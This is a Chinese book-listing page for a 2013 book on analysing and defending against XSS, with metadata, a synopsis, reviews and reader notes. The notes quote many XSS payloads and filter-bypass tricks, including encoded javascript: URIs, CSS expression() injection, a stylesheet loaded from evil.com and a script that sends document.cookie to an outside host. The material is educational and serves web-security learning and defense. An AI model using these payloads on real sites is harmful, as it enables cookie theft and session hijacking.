《XSS跨站脚本攻击剖析与防御》

图书基本信息

书名：《XSS跨站脚本攻击剖析与防御》

13位ISBN编号：9787115311047

10位ISBN编号：7115311048

出版时间：2013-9-1

作者：邱永华

页数：262

《XSS跨站脚本攻击剖析与防御》

内容概要

《XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书，总共8章，主要包括的内容如下。第1章 XSS初探，主要阐述了XSS的基础知识，包括XSS的攻击原理和危害。第2章 XSS利用方式，就当前比较流行的XSS利用方式做了深入的剖析，这些攻击往往基于客户端，从挂马、窃取Cookies、会话劫持到钓鱼欺骗，各种攻击都不容忽视。第3章 XSS测试和利用工具，介绍了一些常见的XSS测试工具。第4章 发掘XSS漏洞，着重以黑盒和白盒的角度介绍如何发掘XSS漏洞，以便帮助读者树立安全意识。第5章 XSS Worm，讲解了Web 2.0的最大威胁——跨站脚本蠕虫，剖析了Web 2.0相关概念和其核心技术，这些知识对于理解和预防XSS Worm十分重要。第6章 Flash应用安全，就当前的Flash应用安全做出了深入阐述。第7章 深入XSS原理，讨论一些比较深入的XSS理论。第8章 防御XSS攻击，介绍了一些防范XSS攻击的方法，例如，运用XSS Filter进行输入过滤和输出编码，使用Firefox浏览器的Noscript插件抵御XSS攻击，使用HTTP-only的Cookies同样能起到保护敏感数据的作用。
《XSS跨站脚本攻击剖析与防御》适合网站管理人员、信息/网络安全或相关工作从业者、软件开发工程师，以及任何对Web安全技术感兴趣的读者。

《XSS跨站脚本攻击剖析与防御》

作者简介

作者曾用网名cnryan，Web应用安全研究人员，熟悉各类熟悉常见的web漏洞类型和原理；国内安全组织狼族wolvez（http://bbs.wolvez.org）的成员之一；长期致力Web安全漏洞的研究，曾在国内黑客杂志发布过多篇文章。
如在《黑客手册》发布有：《eTop文章管理系统漏洞分析》《Ok3w新闻发布系统漏洞分析》《带你畅游漏洞商城》《对阿赛企业网站系统V2的漏洞分析》《凡诺企业网站管理系统1.1Finall漏洞浅析》《击垮校园店小二》《跨站漏洞的利用范例》《如何挖掘php脚本漏洞》《挖掘AspBar V3.4漏洞》……

《XSS跨站脚本攻击剖析与防御》

书籍目录

《XSS跨站脚本攻击剖析与防御》

精彩短评

1、真心赞！上半年我完全一字不漏的看完了。
2、能讲的比较细的一本书，对于web常规安全配置足够，值得入手。。
3、水有点深，感觉一时半会儿补不起来……书到用时方恨少啊
4、扫了一遍，没细看，还不错的入门书。对xss，csrf都有较细致的讲解，适合作为web开发人员了解学习和简单防御xss。
5、翻了一下
6、对字符串的过滤从实现上来说就是一种规则，规则不是完美地。无论是js，C都会有字符串过滤规则的问题。比如说Bug中在http头插入/r/n也可以注入，而无关web开发。这个很浅显，感觉需要多接触自动工具，然后可以达到瞎猫碰死耗子水平。想搞成人站VIP就难了。
7、工具书，遇到问题的时候可以翻一翻
8、业界良心
9、对xss有个全景了解，文中的例子挺好，算是能把看起来牛逼的东西讲的清楚的书，但是有的杂七杂八的东西太多，比如fiddler，firebug的使用一章，有点凑字数的感觉，直接跳过的说
10、对于初学者 第一章的干货很多。
11、全面讲解跨站脚本攻击的书并不多，这本书讲的很细，很多干货。阅读时需要一定的html和JavaScript基础。很适合安全从业者和开发人员阅读。跨站脚本漏洞虽不如注入、文件上传等漏洞危害大，但精心构造的恶意代码会给你带来不一样的惊喜。
12、XSS近两年比较火，本书针对XSS分析非常透彻。前几章细致读过几遍，后面感觉没啥意思，可能是我的定位是发现漏洞而不是利用漏洞。深入XSS原理和防御部分值得细读。
13、此书的意义在于——市面上唯一一本专门讲XSS的书，当年XSS入门书。全面但不深，但是这种书深入了难免牵扯到一些不能写的东西。
14、给跪，昨天下了来看，今天上豆瓣时发现自己上一年已经看过这本书，可能被脑控了

《XSS跨站脚本攻击剖析与防御》

精彩书评

1、作为一名对网络安全感兴趣的开发者，不敢对书中的技术做出过多评价，这里稍微谈几点读后感：看过不少安全书籍，很多都是涵盖范围很广，每个点都写得很太简略，还有许多内容是忽悠读者的。XSS这本书给我的感觉是通俗易懂，从基础到深入，把很多xss技术方面的东西都科普了，比如怎么去挖掘xss，怎么利用，怎么防御等。。其中还列举了许多实际案例。这书会告诉你xss不仅仅是"<script>alert(/xss/)</script>"，客户端存在多少漏洞！觉得很有趣的是，看似很简单的一个xss漏洞作者都能写成书，实在佩服！总而言之，这本书很全面，适合所有的web开发者，读完后绝对会有收获。推荐之！
2、此书讲的不深，但是够全面。此书最大的意义在于带你xss入门。市面上这是唯一一本专门讲xss的书，也是讲的最深最全的。如果你有js基础，看完书至少能保证会玩。这本书适合前端与白帽子阅读。xss是最近几年比较热门的一个话题。国内并没有几本系统的介绍xss攻击的书籍。推荐。
3、对比其他安全书, 多了不少攻击的细节. 值得一读. 对比其他安全书, 多了不少攻击的细节. 值得一读. 对比其他安全书, 多了不少攻击的细节. 值得一读. 对比其他安全书, 多了不少攻击的细节. 值得一读.

《XSS跨站脚本攻击剖析与防御》

章节试读

1、《XSS跨站脚本攻击剖析与防御》的笔记-绕过XSS-Filter

很多HTML标记中的属性都支持javascript:[code]伪协议的形式，这个特殊的协议类型声明了URL的主体是任意的JavaScript代码，由JavaScript的解释器运行。
所以，用户可以利用部分HTML标记的属性值进行XSS，请看下面的代码：
<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('XSS');">。
读者可以使用下面的属性来测试XSS：
href=
lowsrc=
bgsound=
background=
value=
action=
dynsrc=
总而言之，要防御基于属性值的XSS，就要过滤JavaScript等关键字。必须了解，并非所有嵌入到Web页面中的脚本都是JavaScript，还有其他允许值，比如Vbscript。
如果XSS Filter仅仅把敏感的输入字符列入黑名单处理，如对敏感字 javascript而言，用户可以利用空格、回车和Tab键绕过限制。对普通HTML标记的属性值进行过滤，用户还可以通过编码处理来绕过，因为HTML中属性值本身支持ASCII码形式。
ASCII码（American Standard Code for Information Interchange），即美国信息互换标准代码，是目前计算机最通用的编码标准。因为计算机只能接受数字信息，ASCII码将字符作为数字来表示，以便计算机能够接受和处理，比如大写字母 A的 ASCII码是 65。标准的 ASCII码表。
根据HTML的属性值支持ASCII码的特性，把XSS代码：
<img src="javascript:alert('XSS');">
替换成<img src="javascrip&#116&#58alert(/XSS/);" >事件能够说明用户何时做了某件事情或页面何时加载完毕，W3C（World Wide Web Consortium，万维网联盟）将事件分为3个不同的类别：
用户接口（鼠标、键盘）
逻辑（处理的结果）
变化（对文档进行修改）测试事件型的跨站脚本，还有大量的事件可以运用：
onResume
onReverse
onRowDelete
onRowInserted
onSeek
onSynchRestored
onTimeError
onTrackChange
onURLFlip
onRepeat
onMediaComplete
onMediaError
onPause
onProgress
onOutOfSync
oncontrolselect
onlayoutcomplete

onafterprint
onbeforeprint
ondataavailable
ondatasetchanged
ondatasetcomplete
onerrorupdate
onrowenter
onrowexit
onrowsdelete
onrowsinserted
onselectionchange
onbounce
onfinish
onstop
onresizeend使用CSS直接执行JavaScript代码的示例如下：
<div style="background-image:url(javascript:alert('XSS'))">
<style>
    body {background-image: url("javascript:alert('XSS')");}
</style>
IE5及其以后版本支持在CSS中使用expression，使用expression同样可以触发XSS漏洞，如下所示：
<div style="width: expression(alert('XSS'));">
<img src="#" style="xss:expression(alert(/XSS/));">
<style>
    body {background-image: expression(alert("XSS"));}
</style>
以上示例使用CSS中的expression执行JavaScript代码，expression用来把CSS属性和JavaScript表达式关联起来。CSS属性可以是元素固有的属性，也可以是自定义属性，如果CSS属性后面为一段JavaScript表达式，则其值等于JavaScript表达式计算的结果。

<div style="list-style-image:url(javascript:alert('XSS'))">
<img style="background-image: url(javascript:alert('XSS'))">
目标网站的XSS Expliot如下：
<link rel="stylesheet" href="http://www.evil.com/attack.css">
使用这种方式执行跨站脚本很方便，而且不容易被察觉。
除了使用<link>标签外，在网页中引用外部CSS还可以利用@import将其导入，代码如下：
<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>
其中，http://www.evil.com/xss.css中的内容是：
.showCSS{
event:expression(
onload = function()
{
alert('XSS');
}
)
由此可见，使用@import和link方式都可以轻松地导入外部含有XSS代码的样式表文件。
@import还有一个特性，就是能直接执行JavaScript代码，如下：
<style>
    @import 'javascript:alert("XSS")';
</style>

绕过的多种方式：
转换大小写
大小写混淆
不用双引号，而是使用单引号
不使用引号

样式表中的/**/会被浏览器忽略，因此可以运用/**/来注释字符，通过插入混淆字符绕过过滤，如：
<XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<div style="wid/****/th: expre/*XSS*/ssion(alert('XSS'));">
除了/**/外，样式标签中的\和结束符\0也是被浏览器忽略的，如：
@\0im\port'\0ja\vasc\ript:alert("xss")';
@\i\0m\00p\000o\0000\00000r\000000t"url";

<!--<img src="--><img src=x onerror=alert(1)//">
这个示例利用了浏览器解析HTML注释存在的问题来执行JavaScript。
<comment><img src="</comment><img src=x onerror=alert(1)//">
这个示例同样利用了浏览器解析HTML注释存在的问题来执行JavaScript，与前一个例子不同的是，该示例只支持IE系列的浏览器。
<style><img src="</style><img src=x onerror=alert(1)//">
这个示例利用了纯文本标签造成的标记混乱来躲避过滤器。

2、《XSS跨站脚本攻击剖析与防御》的笔记-第39页

<script>alert(1);</script>
<script>alert('XSS');</script>
<script src="http://www.baidu.com"></script>
<script>location.href="http://www.baidu.com/cookie.php?cookie="+escape(document.cookie)</script>
<scr<script>ipt>alert(1);</scr</script>ipt>
<script>alert(String.FromCharCode(88,83,83))</script>

<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<?echo (<'scr)';echo('ipt>alert(\"XSS\")</script>');?>
<marquee><script>alert('XSS');</script></marquee>
<IMG SRC=\"jav	ascript;alert('XSS');\">
<IMG SRC=\"jav
ascript;alert('XSS');\">
<IMG SRC=\"jav
ascript;alert('XSS');\">
<IMG SRC=javascript:alert(String.FromCharCode(88,83,83))>
"><script>alert(0)</script>
<script src=http://www.baidu.com/files.js></script>
</title><script>alert(/XSS/);</script>
</textarea><script>alert(/XSS/);</script>
<IMG LOWSRC=\"javascript:alert('XSS')\">
<IMG DYNSRC=\"javascript:alert('XSS')\">
<font style='color:expression(alert(document.cookie))'>
');alert('XSS
<img src="javascript:alert('XSS')">
<script language="Javascript">alert('XSS')</script>

[url=javascript:alert('XSS');]click me[/url]
<body onunload="javascript:alert('XSS');">
<body onLoad="alert('XSS');"
[color=red' onmouseover="alert('XSS')"]mouse over[/color]
"/><a></><img src=1.gif onerror=alert(1)>
window.alert('XSS');
<BASE HREF="javascript:alert('XSS');"//>
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<

3、《XSS跨站脚本攻击剖析与防御》的笔记-第67页

其他编码/加密技术——JScript Encode和VBScript Encode。
Microsoft 提供了脚本加密（Script Encoder）机制，可以对脚本进行加密，包括 JScript 和VBScript，经过加密的脚本，能在IE下正常运行，在其他浏览器下则不识别。【Shellcode】
所谓的 Shellcode，最初是溢出程序和蠕虫病毒的核心，实际上是指利用一个漏洞时所执行的代码。
在XSS跨站脚本中，是指由JavaScript等脚本编写的XSS利用代码。
【Exploit】
Exploit 的英文意思就是利用，在黑客眼里就是漏洞利用，通常表示完整编写好的漏洞利用工具（或程序），具有一定的攻击性。
Exploit很容易和Shellcode混淆，所以需要记住一点：Exploit往往包含了Shellcode。
【POC】
即Proof of Concept的缩写，是一段证明漏洞存在的程序代码片段。加载远程域的 JavaScript文件是调用XSS Shellcode的常见方式之一，还可以使用另一种方式实现Shellcode的存储和调用——利用window.location.hash属性。根据Cookie的时效性以及相关特点，可以把它分为两种类型：持久型Cookie和临时型Cookie。
持久型Cookie以文本形式存储在硬盘上，由浏览器存取。
临时型Cookie也称为会话Cookie，存储在内存中，关闭当前浏览器后会立即消失。

Cookie。若要创建一个Cookie，只要将特定格式的字符串赋给document.cookie即可：
cookieName=cookieValue;expirationdate;path
这里我们要设置一些Cookie属性，常见属性如下：
Domain——设置关联Cookie的域名；
Expires——通过给定一个过期时间来创建一个持久化Cookie；
HttpOnly——用于避免Cookie被JavaScript访问；
Name——Cookie的名称；
Path——关联到Cookie的路径，默认为/;
Value——读写Cookie的值；
Secure——用于指定Cookie需要通过安全Socket层连接传递；
创建一个Cookie，需要提供Cookie的名字、对应值、过期时间和相关路径等Session和Cookie的最大区别在于：Session是保存在服务端的内存里面，而Cookie保存于浏览器或客户端文件里面。

4、《XSS跨站脚本攻击剖析与防御》的笔记-第14页

如想利用XSS弹出恶意警告框，代码为：
<script>alert("XSS");</script>
XSS输入也可能是HTML代码段，如要使网页不停地刷新，代码为：
<meta http-equiv="refresh" content="0;">
嵌入其他网站的链接，代码为：
<iframe src=http://www.test.com width=0 height=0></iframe>

《XSS跨站脚本攻击剖析与防御》

XSS根据其特性和利用手法的不同，主要分成两大类型：一种是反射型跨站脚本；另一种是持久型跨站脚本。持久型XSS不需要用户去单击URL进行触发，所以它的危害比反射型XSS大。

《XSS跨站脚本攻击剖析与防御》

版权说明